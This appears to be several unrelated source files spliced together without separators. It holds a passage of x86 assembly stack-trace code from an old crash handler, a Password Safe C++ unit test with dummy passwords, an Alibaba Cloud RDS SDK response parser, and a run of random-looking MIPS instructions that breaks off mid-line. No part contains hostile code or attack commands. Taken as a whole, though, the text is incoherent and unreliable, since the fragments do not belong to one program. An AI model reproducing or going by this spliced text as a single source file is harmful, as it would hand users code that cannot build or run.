[pArgStart],ax mov [pArgEnd],ax mov [pLocalStart],ax mov [pLocalEnd],ax mov [fNextFrameNat],ax call GetSnMac mov [SnMac],ax call HOpenOutFile ; open the output file mov [hOutFile],ax ; save returned file handle cmp ax,-1 ; was the file opened? je traceinit4 ; no - skip push ax ; handle of file to seek in xor ax,ax ; offset to seek to push ax push ax mov ax,2 ; seek to end of file push ax call DwSeekDw test dx,8000h ; error? jz traceinit4 ; no - skip lea bx,[hOutFile] call CloseOutFile ; yes - close the file traceinit4: call doutcrlf call doutcrlf mov bx,[vpszStackTrace1] ; get Stack Trace Message push ss pop es call PrintSz call doutcrlf mov bx,[vpszStackTrace2] ; state info push ss ; point es to local vars area pop es call PrintSz call doutcrlf call doutcrlf traceloop: mov bx,[bpCurrent] mov [bpLast],bx mov bx,[bx] ; get previous bp and bl,0feh ; strip off near/far flag mov [bpCurrent],bx ; and save it or bx,bx ; end of frames? jnz traceloop2 ; no - skip jmp endtrace ; yes - quit traceloop2: cmp bx,[bpLast] ; is this OK? jbe traceloop4 ; no - skip lea ax,[BuffStart] ; get address of start of strings mov [pBuff],ax ; and save it cmp bx,word ptr ds:[0ah] ; below stack min? jb traceloop4 cmp bx,word ptr ds:[0eh] ; or above stack max? jbe traceloop6 traceloop4: jmp badbp traceloop6: cmp word ptr [fPcodeFrame],0 ; were we in a pcode frame? jz traceloop8 ; no - skip cmp word ptr [fNextFrameNat],0 ; native code in this frame? jz traceloop7 ; no - skip mov word ptr [fPcodeFrame],0 ; yes - indicate native code mov word ptr [fNextFrameNat],0 ; clear flag jmp traceloop8 ; skip traceloop7: test byte ptr [bx],1 ; are we switching to native? jz traceloop8 ; no - skip mov word ptr [fNextFrameNat],1 ; yes - indicate native code in next frame mov bx,[bpLast] ; check for return sn == snMac mov ax,[bx+4] and ax,7fffh cmp ax,[snMac] jz traceloop ; yes - skip to next frame traceloop8: call GetRetAddr ; get next return address mov [RetOffset],ax ; save address for later... mov [RetSeg],dx cmp word ptr [fPcodeFrame],0 ; are we in a pcode frame? jz traceloop10 ; no - skip call PrintPcodeAddress ; yes - print sn:bpc jmp traceloop34 traceloop10: cmp word ptr [fThunk],0 ; is this a short ret to a swapped segment? jz traceloop11 ; no - skip push dx ; yes - pass the segment number lea bx,[SymFile] ; pass the address to save the sym file name push bx push [pBuff] ; pass the address to save the seg name call FGetSegSymb ; get the segment symbol jmp traceloop18 traceloop11: ;* * See if a Windows thunk mov es,[RetSeg] ; get seg and offset of return mov bx,[RetOffset] cmp word ptr es:[bx],INTVECTOR shl 8 OR INTOPCODE jne traceloop16 cmp byte ptr es:[bx+2],0 jne traceloop16 xor cx,cx mov cl,es:[bx+3] ; get segment number jcxz traceloop16 ; not thunk if == 0 traceloop12: add bx,4 ; Scan forwards for end of table cmp word ptr es:[bx],0 jnz traceloop12 mov es,word ptr es:[bx+2] ; Got it, recover EXE header address cmp word ptr es:[ne_magic],NEMAGIC ; Is it a new exe header? jne traceloop16 ; No, then cant be return thunk. push cx ; save segment number mov [csCurrent],cx mov word ptr [fThunk],1 ; indicate hit a thunk mov bx,es:[ne_restab] ; get pointer to stModuleName mov cl,es:[bx] ; get length of module name lea di,[SymFile] ; get the address to save the sym file name traceloop14: inc bx ; point to next char mov al,es:[bx] ; get a char mov [di],al ; save it inc di loop traceloop14 mov word ptr [di],'s.' ; save .sym on end of module name mov word ptr [di+2],'my' mov byte ptr [di+4],0 mov bx,[bpLast] ; get pointer to frame mov bx,[bx-2] ; get "real" return offset mov [RetOffset],bx ; and save it lea bx,[SymFile] ; pass the address to save the sym file name push bx push [pBuff] ; pass the address to save the seg name call FGetSegSymb ; get the segment symbol jmp traceloop18 traceloop16: push [RetSeg] ; pass the segment to look up lea bx,[SymFile] ; pass the address to save the sym file name push bx push [pBuff] ; pass the address to save the seg name call FFindSeg ; find the segment traceloop18: or ax,ax ; successful? jnz traceloop20 ; yes - skip call PrintSegOff ; no - just print segment:offset jmp traceloop34 traceloop20: mov bx,[pBuff] ; get the pointer to the buffer dec bx traceloop22: inc bx ; point to next char cmp byte ptr [bx],0 ; end of string? jnz traceloop22 ; no - loop mov byte ptr [bx],':' ; yes - save seperator in string inc bx ; point to where to put offset symbol mov [pBuff],bx ; and save it push [RetOffset] ; pass the offset to lookup push [pBuff] ; pass the place to put the offset symbol call FGetSymbol ; get the symbol or ax,ax ; successful? jnz traceloop24 ; yes - skip call PrintSegOff ; no - just print segment:offset jmp traceloop34 traceloop24: ;* * before printing : compare with special names : RetToolbox? RetNative? mov bx,[pBuff] ; get the pointer to the buffer ;* * possibly "RetNative?" (sure it's ugly - but fast & simple) cmp word ptr [bx],"eR" jne traceloop26 cmp word ptr [bx+2],"Nt" jne traceloop26 cmp word ptr [bx+4],"ta" jne traceloop26 cmp word ptr [bx+6],"vi" jne traceloop26 cmp byte ptr [bx+8],"e" jne traceloop26 cmp byte ptr [bx+9],"0" jb traceloop26 cmp byte ptr [bx+9],"3" ja traceloop26 cmp byte ptr [bx+10],0 je traceloop28 traceloop26: ;* * possibly "RetToolbox?" cmp word ptr [bx],"eR" jne traceloop30 cmp word ptr [bx+2],"Tt" jne traceloop30 cmp word ptr [bx+4],"oo" jne traceloop30 cmp word ptr [bx+6],"bl" jne traceloop30 cmp word ptr [bx+8],"xo" jne traceloop30 cmp byte ptr [bx+10],"0" jb traceloop30 cmp byte ptr [bx+10],"3" ja traceloop30 cmp byte ptr [bx+11],0 jne traceloop30 ;* * Start of Pcode frame traceloop28: mov word ptr [fPcodeFrame],1 mov word ptr [fThunk],0 ; clear thunk hit flag jmp traceloop40 ; skip to next frame... traceloop30: lea bx,[SymFile] ; point to sym file name traceloop32: inc bx ; point to next char cmp byte ptr [bx],'.' ; at file extension yet? jne traceloop32 ; no - loop mov byte ptr [bx],0 ; yes - end string here mov dx,bx ; and save for a moment lea bx,[SymFile] ; point to sym file name push ss ; point es to local vars area pop es call PrintSz ; print the map name mov bx,dx ; point to where we ended the string mov byte ptr [bx],'.' ; restore the extension mov al,'!' ; seperator between map name and seg name call dout lea bx,[BuffStart] ; point to seg and symbol names push ss ; point es to local vars area pop es call PrintSz ; print the map name mov cx,[RetOffset] ; get offset sub cx,[SymDef] ; calc offset from start of proc jcxz traceloop34 ; skip if no offset mov al,'+' ; seperator between symbol name and offset call dout mov ax,cx ; output the offset call dout16 traceloop34: cmp word ptr [fPcodeFrame],0 ; pcode frame? jz traceloop36 ; no - skip cmp word ptr [fNextFrameNat],0 ; is this really a native frame? jnz traceloop36 ; yes - skip call SetupPcodeArgs ; yes - setup to print pcode locals and args jmp traceloop38 traceloop36: call SetupNatArgs ; setup to print native locals and args traceloop38: call PrintArgs ; print this frame's locals and args call doutcrlf ; output a carrage return line feed traceloop40: jmp traceloop ; and loop and loop and... badbp: mov bx,offset szBadBP ; print bad BP message push cs pop es call PrintSz mov ax,[bpLast] call dout16 call doutcrlf endtrace: lea bx,[hOutFile] call CloseOutFile ; close the output file lea bx,[hDbgScreen] call CloseOutFile ; close the debug screen sub bp,0006 mov sp,bp pop si pop di pop ds pop bp dec bp mov ss:[fDoingRIP],0 ; indicate we are not currently ripping ret stacktrace endp ; ; GetRetAddr - peeks at frame to get return address ; ; enter: ; exit: dx:ax = return address ; GetRetAddr: mov bx,[bpLast] mov ax,[bx+2] ; get offset part of ret addr mov dx,[bx+4] ; get segment part test byte ptr [bx],1 ; near or far frame? jz getnearaddr ; ; far frame ; mov [csCurrent],dx ; remember current CS mov word ptr [fThunk],0 ; clear thunk hit flag ret getnearaddr: test byte ptr [fPcodeFrame],0ffh jz near_native ;* * Pcode return and dh,07fh ;* strip fValue bit ret near_native: mov dx,[csCurrent] ; use current CS ret ; ; Print return address in form: ; ; <segment>:<offset> ; PrintSegOff: mov ax,[RetSeg] call dout16 mov al,":" call dout mov ax,[RetOffset] call dout16 ret ;* * Special Pcode routines ;* print Pcode address PrintPcodeAddress: mov word ptr [cPcodeArgs],0 ; init count of pcode args mov bx,offset szSnMsg ; print sn message push cs pop es call PrintSz mov ax,[RetSeg] ; get sn push ax ; save for call to FGetPcodeSegName call dout16 push [pBuff] ; point to buffer call FGetPcodeSegName or ax,ax ; seg name found? jz PrintPcode2 ; no - skip mov al," " ; print seg name call dout mov al," " call dout mov al,"(" call dout push ds pop es mov bx,[pBuff] call PrintSz mov al,")" call dout PrintPcode2: mov bx,offset szBpcMsg ; print bpc message push cs pop es call PrintSz mov ax,[RetOffset] ; get bpc call dout16 mov bx,[RetSeg] ; get sn push bx call near ptr GetPsOfSn ; get physical address of pcode seg or ax,ax ; swapped out? jnz PrintPcode4 ; no - skip jmp PrintPcode12 ; yes - exit PrintPcode4: mov es,ax ; in memory - put seg in es mov bx,offset ph_mpenbpc ; point to mpenbpc table xor cx,cx mov cl,es:[ph_enMacReg] ; get count of procs mov dx,0 ; init proc counter PrintPcode6: mov ax,es:[bx] ; get the next entry point cmp ax,[RetOffset] ; is this one past the one we want? ja PrintPcode8 ; yes - skip inc bx ; point to next entry inc bx inc dx ; bump proc counter loop PrintPcode6 ; and loop PrintPcode8: mov bx,es:[bx-2] ; save start of the proc push bx mov al,es:[bx-1] ; get seg code byte and ax,001fh ; strip off all but count of args mov [cPcodeArgs],ax dec dx ; set proc number back mov dh,[RetSeg] ; get seg in dh, proc # in dl push dx lea bx,[SymFile] ; get pointer to sym file name mov [bx],'po' ; and save 'opus.sym' in it mov [bx+2],'su' mov [bx+4],'s.' mov [bx+6],'my' mov byte ptr [bx+8],0 push bx push [pBuff] ; point to buffer call FGetConstSymb pop dx ; get back start of proc offset or ax,ax ; OK? jz PrintPcode12 ; no - exit mov al,' ' ; seperator between map name and seg name call dout mov al,' ' ; seperator between map name and seg name call dout mov al,'(' ; seperator between map name and seg name call dout lea bx,[BuffStart] ; point to seg and symbol names push ss ; point es to local vars area pop es call PrintSz ; print the map name mov cx,[RetOffset] ; get offset sub cx,dx ; calc offset from start of proc dec cx dec cx jcxz PrintPcode10 ; skip if no offset mov al,'+' ; seperator between symbol name and offset call dout mov ax,cx ; output the offset call dout16 PrintPcode10: mov al,')' ; seperator between map name and seg name call dout PrintPcode12: ret PrintArgs: push [fPrintDbgScr] ; save flag mov word ptr [fPrintDbgScr], 0 ; don't print args to the aux port call doutcrlf mov bx,offset szArg ; point to args string push cs ; point es to local vars area pop es call PrintSz ; print the string mov si,-2 mov bx,[pArgStart] ; point to start of args mov cx,bx sub cx,[pArgEnd] ; calc cb to print cmp cx,0 jns PrintArgs2 ; skip if don't need to fix increment mov si,2 neg cx PrintArgs2: call DumpMem ; dump the args mov bx,offset szLocal ; point to locals string push cs ; point es to local vars area pop es call PrintSz ; print the map name mov si,-2 mov bx,[pLocalStart] ; point to start of locals mov cx,bx sub cx,[pLocalEnd] ; calc cb to print cmp cx,0 jns PrintArgs4 ; skip if don't need to fix increment mov si,2 neg cx PrintArgs4: call DumpMem ; dump the locals pop [fPrintDbgScr] ; restore flag xor ax,ax ; clear pointers mov [pArgStart],ax mov [pArgEnd],ax mov [pLocalStart],ax mov [pLocalEnd],ax ret DumpMem: shr cx,1 ; make into cwDump jcxz DumpMem6 ; exit if nothing to print jmp DumpMem3 DumpMem2: cmp dl,8 ; done with this line? jb DumpMem4 ; no - skip call doutcrlf DumpMem3: mov al,' ' call dout call dout call dout call dout mov dl,0 DumpMem4: mov ax,[bx] ; get a word call dout16 mov al,' ' ; seperator between numbers call dout call dout add bx,si ; point to next word inc dl ; bump counter loop DumpMem2 ; loop until all words printed call doutcrlf DumpMem6: ret SetupPcodeArgs: mov ax,[bpCurrent] ; set pArgStart and pArgEnd dec ax dec ax mov [pArgStart],ax mov cx,[cPcodeArgs] shl cx,1 sub ax,cx mov [pArgEnd],ax mov [pLocalStart],ax ; set pLocalStart and pLocalEnd mov ax,[bpLast] add ax,4 mov [pLocalEnd],ax ret SetupNatArgs: mov ax,[bpCurrent] ; set pArgStart and pArgEnd mov bx,ax add ax,4 test word ptr [bx],0001h jz SetupNat2 add ax,2 SetupNat2: mov [pArgStart],ax mov bx,[bx] and bl,0feh sub bx,4 cmp bx,-4 jne SetupNat4 mov bx,ax SetupNat4: mov [pArgEnd],bx mov ax,[bpCurrent] ; set pLocalStart and pLocalEnd sub ax,8 mov [pLocalStart],ax mov ax,[bpLast] add ax,8 mov [pLocalEnd],ax ret ;* ;* PrintSz : ES:BX = "sz" string ;* ;* print string PrintSz: push ax ; save regs PrintSz2: mov al,es:[bx] ; get a char inc bx ; point to next char cmp al,0 ; end of string? jz PrintSz4 ; yes - exit call dout ; output the char jmp PrintSz2 ; loop PrintSz4: pop ax ret MakeHexDigit: add al,'0' cmp al,'9' jbe MakeHex2 add al,'A' - '0' - 10 MakeHex2: ret ; print out a 16 bit unsigned in 4 hex digit format dout16: push bx ; save environment push cx mov bx,ax ; val saved in bx mov al,ah mov cl,4 shr al,cl call MakeHexDigit call dout mov al,bh and al,0fh call MakeHexDigit call dout mov al,bl mov cl,4 shr al,cl call MakeHexDigit call dout mov al,bl and al,0fh call MakeHexDigit call dout pop cx ; restore environment pop bx ret ; print out a carrage return line feed pair doutcrlf: mov al,0dh call dout mov al,0ah call dout ret ; print out a char dout: push bx ; save environment cmp word ptr [fPrintDbgScr],0 ; print to the debug screen? jz dout2 ; no - skip lea bx,[hDbgScreen] ; get handle of debug screen to print to call doutfile dout2: lea bx,[hOutFile] ; get handle of file to print to call doutfile pop bx ; restore environment ret ; print out a char to the opened file doutfile: cmp [bx],0ffffh ; exit if file not open je doutfile4 push ax ; save environment push cx push dx push bx push [bx] ; pass file handle lea bx,[chOutBuff] push ss push bx mov [bx],al mov ax,1 push ax call CchWriteDoshnd test ax,8000h jz doutfile2 pop bx ; close this file if error push bx call CloseOutFile doutfile2: pop bx ; restore environment pop dx pop cx pop ax doutfile4: ret ; close the output file CloseOutFile: cmp [bx],0ffffh je CloseOut2 push ax ; save environment push cx push dx push bx push [bx] call FCloseDoshnd pop bx mov [bx],0ffffh pop dx ; restore environment pop cx pop ax CloseOut2: ret ;********** GetPsOfSn ********** ;* entry : sn = Pcode segment # ;* * find physical segment of Pcode segment (if resident) ;* exit : AX = ps (or 0 if not resident) ; %%Function:GetPsOfSn %%Owner:BRADV cProc GetPsOfSn, <NEAR, ATOMIC> ParmW sn cBegin GetPsOfSn XOR AX,AX ;* return zero if segMac MOV BX,sn CMP BX,$q_snMacReal JAE get_ps_end SHL BX,1 ;* Make into word pointer SHL BX,1 ;* DWORD ptr ADD BX,OFFSET DGROUP:$q_mpsnpfn ;* DS:BX => table PUSH WORD PTR [BX+2] ;* segment PUSH WORD PTR [BX] ;* offset (lpthunk on stack) MOV BX,OFFSET DGROUP:segiT ;* address of buffer cCall GetCodeInfo,<DS,BX> ;* lpthunk, lpsegi OR AX,AX JZ get_ps_end ;* error - assume non-resident ;* * good segment info, see if segment resident MOV AX,segiT.hSegi ;* handle or ps if fixed TEST AX,1 JNZ get_ps_end ;* ax = ps cCall GlobalHandle,<ax> ;* get handle info MOV AX,DX ;* ps (or 0 if not loaded) get_ps_end: cEnd GetPsOfSn sEnd rip END
/* * Copyright (c) 2003-2020 Rony Shapiro <ronys@pwsafe.org>. * All rights reserved. Use of the code is allowed under the * Artistic License 2.0 terms, as specified in the LICENSE file * distributed with this code, or available from * http://www.opensource.org/licenses/artistic-license-2.0.php */ // FileV3Test.cpp: Unit test for V3 file format #ifdef WIN32 #include "../ui/Windows/stdafx.h" #endif #include "core/PWSfileV3.h" #include "os/file.h" #include "gtest/gtest.h" // A fixture for factoring common code across tests class FileV3Test : public ::testing::Test { protected: FileV3Test(); // to init members CItemData smallItem, fullItem, item; void SetUp(); void TearDown(); const StringX passphrase; stringT fname; // members used to populate and test fullItem: const StringX title, password, user, notes, group; const StringX url, at, email, polname, symbols, runcmd; const time_t aTime, cTime, xTime, pmTime, rmTime; const int16 iDCA, iSDCA; const int32 kbs; time_t tVal; int16 iVal16; int32 iVal32; }; FileV3Test::FileV3Test() : passphrase(_T("enchilada-sonol")), fname(_T("V3test.psafe3")), title(_T("a-title")), password(_T("b-password!?")), user(_T("C-UserR-ינור")), // non-English notes(_T("N is for notes\nwhich can span lines\r\nin several ways.")), group(_T("Groups.are.nested.by.dots")), url(_T("http://pwsafe.org/")), at(_T("\\u\\t\\t\\n\\p\\t\\n")), email(_T("joe@spammenot.com")), polname(_T("liberal")), symbols(_T("<-_+=@?>")), runcmd(_T("Run 4 your life")), aTime(1409901292), // time test was first added, from http://www.unixtimestamp.com/ cTime(1409901293), xTime(1409901294), pmTime(1409901295), rmTime(1409901296), iDCA(3), iSDCA(8), kbs(0x12345678), tVal(0), iVal16(-1), iVal32(-1) {} void FileV3Test::SetUp() { fullItem.CreateUUID(); fullItem.SetTitle(title); fullItem.SetPassword(password); fullItem.SetUser(user); fullItem.SetNotes(notes); fullItem.SetGroup(group); fullItem.SetURL(url); fullItem.SetAutoType(at); fullItem.SetEmail(email); fullItem.SetPolicyName(polname); fullItem.SetSymbols(symbols); fullItem.SetRunCommand(runcmd); fullItem.SetATime(aTime); fullItem.SetCTime(cTime); fullItem.SetXTime(xTime); fullItem.SetPMTime(pmTime); fullItem.SetRMTime(rmTime); fullItem.SetDCA(iDCA); fullItem.SetShiftDCA(iSDCA); fullItem.SetKBShortcut(kbs); smallItem.CreateUUID(); smallItem.SetTitle(_T("picollo")); smallItem.SetPassword(_T("tiny-passw")); } void FileV3Test::TearDown() { ASSERT_TRUE(pws_os::DeleteAFile(fname)); ASSERT_FALSE(pws_os::FileExists(fname)); } // And now the tests... TEST_F(FileV3Test, EmptyFile) { PWSfileV3 fw(fname.c_str(), PWSfile::Write, PWSfile::V30); ASSERT_EQ(PWSfile::SUCCESS, fw.Open(passphrase)); ASSERT_EQ(PWSfile::SUCCESS, fw.Close()); ASSERT_TRUE(pws_os::FileExists(fname)); PWSfileV3 fr(fname.c_str(), PWSfile::Read, PWSfile::V30); // Try opening with wrong passphrase, check failure EXPECT_EQ(PWSfile::WRONG_PASSWORD, fr.Open(_T("x"))); // Now open with correct one, check emptiness ASSERT_EQ(PWSfile::SUCCESS, fr.Open(passphrase)); EXPECT_EQ(PWSfile::END_OF_FILE, fr.ReadRecord(item)); EXPECT_EQ(PWSfile::SUCCESS, fr.Close()); } TEST_F(FileV3Test, HeaderTest) { // header is written when file's opened for write. PWSfileHeader hdr1, hdr2; hdr1.m_prefString = _T("aPrefString"); hdr1.m_whenlastsaved = 1413129351; // overwritten in Open() hdr1.m_whenpwdlastchanged = 1529684734; hdr1.m_lastsavedby = _T("aUser"); hdr1.m_lastsavedon = _T("aMachine"); hdr1.m_whatlastsaved = _T("PasswordSafe test framework"); hdr1.m_DB_Name = fname.c_str(); hdr1.m_DB_Description = _T("Test the header's persistency"); PWSfileV3 fw(fname.c_str(), PWSfile::Write, PWSfile::V30); fw.SetHeader(hdr1); ASSERT_EQ(PWSfile::SUCCESS, fw.Open(passphrase)); hdr1 = fw.GetHeader(); // Some fields set by Open() ASSERT_EQ(PWSfile::SUCCESS, fw.Close()); ASSERT_TRUE(pws_os::FileExists(fname)); PWSfileV3 fr(fname.c_str(), PWSfile::Read, PWSfile::V30); ASSERT_EQ(PWSfile::SUCCESS, fr.Open(passphrase)); hdr2 = fr.GetHeader(); // We need the following to read past the termination block! EXPECT_EQ(PWSfile::END_OF_FILE, fr.ReadRecord(item)); EXPECT_EQ(PWSfile::SUCCESS, fr.Close()); ASSERT_EQ(hdr1, hdr2); } TEST_F(FileV3Test, ItemTest) { PWSfileV3 fw(fname.c_str(), PWSfile::Write, PWSfile::V30); ASSERT_EQ(PWSfile::SUCCESS, fw.Open(passphrase)); EXPECT_EQ(PWSfile::SUCCESS, fw.WriteRecord(smallItem)); EXPECT_EQ(PWSfile::SUCCESS, fw.WriteRecord(fullItem)); ASSERT_EQ(PWSfile::SUCCESS, fw.Close()); ASSERT_TRUE(pws_os::FileExists(fname)); PWSfileV3 fr(fname.c_str(), PWSfile::Read, PWSfile::V30); ASSERT_EQ(PWSfile::SUCCESS, fr.Open(passphrase)); EXPECT_EQ(PWSfile::SUCCESS, fr.ReadRecord(item)); EXPECT_EQ(smallItem, item); EXPECT_EQ(PWSfile::SUCCESS, fr.ReadRecord(item)); EXPECT_EQ(fullItem, item); EXPECT_EQ(PWSfile::END_OF_FILE, fr.ReadRecord(item)); EXPECT_EQ(PWSfile::SUCCESS, fr.Close()); } TEST_F(FileV3Test, UnknownPersistencyTest) { CItemData d1; d1.CreateUUID(); d1.SetTitle(_T("future")); d1.SetPassword(_T("possible")); unsigned char uv[] = {55, 42, 78, 30, 16, 93}; d1.SetUnknownField(CItemData::UNKNOWN_TESTING, sizeof(uv), uv); PWSfileV3 fw(fname.c_str(), PWSfile::Write, PWSfile::V30); ASSERT_EQ(PWSfile::SUCCESS, fw.Open(passphrase)); EXPECT_EQ(PWSfile::SUCCESS, fw.WriteRecord(d1)); ASSERT_EQ(PWSfile::SUCCESS, fw.Close()); ASSERT_TRUE(pws_os::FileExists(fname)); PWSfileV3 fr(fname.c_str(), PWSfile::Read, PWSfile::V30); ASSERT_EQ(PWSfile::SUCCESS, fr.Open(passphrase)); EXPECT_EQ(PWSfile::SUCCESS, fr.ReadRecord(item)); EXPECT_EQ(d1, item); EXPECT_EQ(PWSfile::END_OF_FILE, fr.ReadRecord(item)); EXPECT_EQ(PWSfile::SUCCESS, fr.Close()); }
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/rds/model/ImportUserBackupFileResult.h> #include <json/json.h> using namespace AlibabaCloud::Rds; using namespace AlibabaCloud::Rds::Model; ImportUserBackupFileResult::ImportUserBackupFileResult() : ServiceResult() {} ImportUserBackupFileResult::ImportUserBackupFileResult(const std::string &payload) : ServiceResult() { parse(payload); } ImportUserBackupFileResult::~ImportUserBackupFileResult() {} void ImportUserBackupFileResult::parse(const std::string &payload) { Json::Reader reader; Json::Value value; reader.parse(payload, value); setRequestId(value["RequestId"].asString()); if(!value["BackupId"].isNull()) backupId_ = value["BackupId"].asString(); if(!value["Status"].isNull()) status_ = value["Status"].asString() == "true"; } bool ImportUserBackupFileResult::getStatus()const { return status_; } std::string ImportUserBackupFileResult::getBackupId()const { return backupId_; }
addiu $1,$4,5611 addu $5,$4,$3 sra $3,$1,19 slti $1,$4,25808 sra $3,$3,23 sh $3,14($0) lw $4,8($0) xor $1,$3,$3 sllv $0,$4,$3 sh $1,14($0) sh $4,16($0) addiu $5,$3,-29630 slt $3,$3,$3 slti $5,$4,-1435 sw $1,16($0) or $5,$5,$3 sb $5,6($0) sltu $5,$4,$3 addiu $4,$3,522 addu $4,$3,$3 nor $3,$1,$3 xori $4,$4,60938 addiu $5,$0,-28253 slti $3,$5,25043 sra $3,$3,24 addiu $5,$0,-7191 sb $3,12($0) sra $6,$4,3 sltu $3,$3,$3 andi $0,$5,40049 addu $3,$5,$3 addu $5,$4,$3 addu $1,$1,$3 sw $5,0($0) slt $0,$1,$3 sw $1,16($0) xor $3,$6,$3 lw $1,8($0) ori $4,$0,57430 andi $0,$4,20947 lh $4,8($0) subu $4,$1,$3 lb $1,13($0) sb $3,10($0) addu $0,$4,$3 lbu $3,10($0) lhu $5,6($0) addiu $4,$4,18753 addu $4,$4,$3 sw $1,16($0) lb $4,10($0) sltiu $6,$4,27282 sll $3,$1,12 addu $4,$3,$3 sb $4,4($0) sltu $0,$5,$3 lb $2,5($0) sra $1,$3,24 slti $4,$4,7886 subu $3,$2,$3 subu $3,$3,$3 lw $3,16($0) srav $3,$5,$3 subu $3,$5,$3 sltiu $3,$3,26155 sltiu $1,$1,32741 sra $3,$3,31 srl $3,$3,12 lb $3,16($0) lbu $5,10($0) sll $4,$3,19 srl $3,$5,17 sll $4,$4,26 addiu $4,$4,8813 slti $3,$5,-3606 andi $3,$4,61212 lhu $4,8($0) sll $3,$0,15 xori $4,$4,35366 srlv $3,$3,$3 lh $3,0($0) andi $5,$4,24915 slti $4,$3,-30792 lbu $3,3($0) addu $3,$4,$3 andi $1,$6,60309 lh $3,10($0) lbu $1,11($0) subu $0,$3,$3 lbu $5,2($0) srav $1,$0,$3 lhu $4,14($0) sll $5,$2,17 addu $3,$4,$3 xori $3,$5,5824 addu $4,$1,$3 subu $3,$3,$3 xor $4,$4,$3 sll $3,$3,21 xor $3,$3,$3 srav $0,$0,$3 ori $1,$3,20755 sllv $3,$1,$3 subu $0,$1,$3 slti $1,$1,-2720 sllv $3,$3,$3 sltiu $1,$1,-16627 nor $0,$3,$3 lhu $5,8($0) xor $5,$4,$3 lh $3,14($0) sll $3,$3,3 or $3,$4,$3 sllv $0,$3,$3 srav $1,$3,$3 lbu $6,5($0) andi $3,$3,38382 lw $3,4($0) subu $5,$3,$3 nor $5,$0,$3 xor $3,$3,$3 srl $5,$3,16 sltu $3,$5,$3 sra $3,$3,17 sb $4,5($0) subu $1,$5,$3 sra $1,$3,0 sra $5,$4,16 lh $1,10($0) lbu $3,12($0) lh $4,14($0) lb $0,12($0) lw $5,12($0) addiu $1,$1,6198 addiu $1,$1,22889 andi $1,$4,63350 addiu $3,$0,-10453 lh $3,6($0) sltiu $3,$6,-1594 lbu $3,1($0) slt $1,$4,$3 lbu $1,4($0) xori $1,$5,11027 lb $4,4($0) sb $6,9($0) lbu $4,13($0) slt $3,$5,$3 sw $1,12($0) lb $4,15($0) ori $5,$4,25520 sw $3,12($0) sltu $6,$6,$3 sllv $3,$4,$3 lb $4,10($0) sb $3,12($0) lbu $1,14($0) lhu $4,12($0) sltu $1,$1,$3 sltu $5,$5,$3 srav $1,$4,$3 srlv $3,$6,$3 sllv $1,$5,$3 sltiu $4,$5,-17727 lhu $5,0($0) sra $3,$4,26 slt $1,$1,$3 addiu $1,$0,8373 srl $6,$5,11 sltiu $1,$1,1434 sll $0,$4,29 srav $4,$4,$3 or $0,$0,$3 srlv $3,$3,$3 lw $0,8($0) xori $3,$4,53516 lh $3,0($0) lbu $3,6($0) lb $3,3($0) lhu $3,12($0) lbu $3,2($0) xor $0,$0,$3 slti $1,$3,-15147 sw $4,4($0) lh $1,0($0) sb $0,8($0) andi $1,$0,51912 slti $4,$4,-11552 lw $4,0($0) slt $3,$1,$3 or $3,$3,$3 lw $4,12($0) sra $3,$4,5 addu $5,$5,$3 sll $4,$4,19 sllv $1,$2,$3 or $1,$5,$3 xori $1,$6,48933 lb $1,14($0) lb $3,12($0) subu $6,$4,$3 lhu $0,12($0) slti $5,$5,7797 xor $3,$1,$3 subu $1,$3,$3 sltu $5,$3,$3 lbu $3,5($0) addu $5,$3,$3 ori $3,$3,11337 lb $3,1($0) sw $5,12($0) slti $4,$4,1808 lb $4,3($0) slt $5,$6,$3 addu $4,$3,$3 lh $4,6($0) addu $1,$3,$3 sllv $3,$5,$3 sra $4,$1,26 sltiu $3,$6,1216 lbu $3,16($0) sltu $4,$1,$3 slti $5,$5,8218 xori $4,$4,11649 subu $4,$5,$3 xori $3,$1,59173 sw $6,12($0) lb $1,6($0) or $4,$5,$3 srl $5,$5,10 andi $3,$3,51647 nor $1,$3,$3 or $1,$1,$3 subu $3,$4,$3 sh $3,16($0) lhu $3,14($0) sb $3,13($0) andi $1,$5,2201 nor $4,$4,$3 slti $3,$3,4215 lh $3,12($0) srl $5,$0,14 sh $4,4($0) subu $4,$3,$3 srlv $4,$4,$3 subu $1,$3,$3 lh $4,4($0) sra $3,$3,30 addu $4,$5,$3 sltu $4,$3,$3 sra $5,$5,6 subu $4,$4,$3 lbu $5,5($0) slt $3,$3,$3 subu $1,$1,$3 sh $3,10($0) nor $4,$4,$3 sllv $3,$3,$3 lw $4,12($0) lbu $4,8($0) srlv $3,$3,$3 sra $3,$4,30 sra $1,$5,27 or $3,$4,$3 sh $4,0($0) addu $6,$3,$3 slti $3,$5,1711 srl $4,$1,27 sw $0,8($0) srl $5,$5,25 addiu $3,$2,3371 srlv $1,$1,$3 sb $3,14($0) sra $1,$4,30 addiu $3,$3,6216 sllv $3,$3,$3 addiu $3,$3,22441 lhu $5,10($0) sra $3,$3,13 lbu $5,2($0) andi $6,$6,28503 sra $6,$6,25 lbu $3,14($0) sltu $3,$3,$3 sllv $5,$4,$3 lhu $5,8($0) sra $0,$0,0 srl $6,$6,29 lb $6,2($0) subu $2,$2,$3 sw $5,0($0) srl $3,$6,16 sllv $4,$4,$3 andi $4,$4,6282 subu $0,$3,$3 sb $5,5($0) srl $5,$1,17 andi $5,$6,26754 slti $0,$5,14011 addu $6,$6,$3 subu $5,$3,$3 ori $5,$5,15941 lhu $1,16($0) sb $3,4($0) slt $6,$1,$3 sll $3,$0,22 lhu $1,16($0) nor $1,$4,$3 xori $5,$3,14433 sb $3,4($0) sra $0,$3,28 xor $5,$3,$3 sll $4,$0,28 addu $4,$4,$3 slti $5,$6,19665 xor $4,$3,$3 ori $1,$3,44606 addiu $1,$4,7746 addiu $0,$6,3364 addiu $5,$5,10987 addu $4,$1,$3 lhu $5,2($0) lh $6,4($0) addu $5,$4,$3 sll $4,$3,30 addu $5,$4,$3 lbu $4,5($0) sltiu $4,$4,-15110 sltiu $5,$3,-27702 xor $1,$5,$3 lhu $3,16($0) lb $1,3($0) sll $3,$3,30 addiu $4,$6,-22442 srlv $3,$6,$3 andi $1,$1,11198 sll $4,$4,14 andi $1,$5,31109 sll $1,$3,29 sllv $1,$3,$3 subu $5,$5,$3 addiu 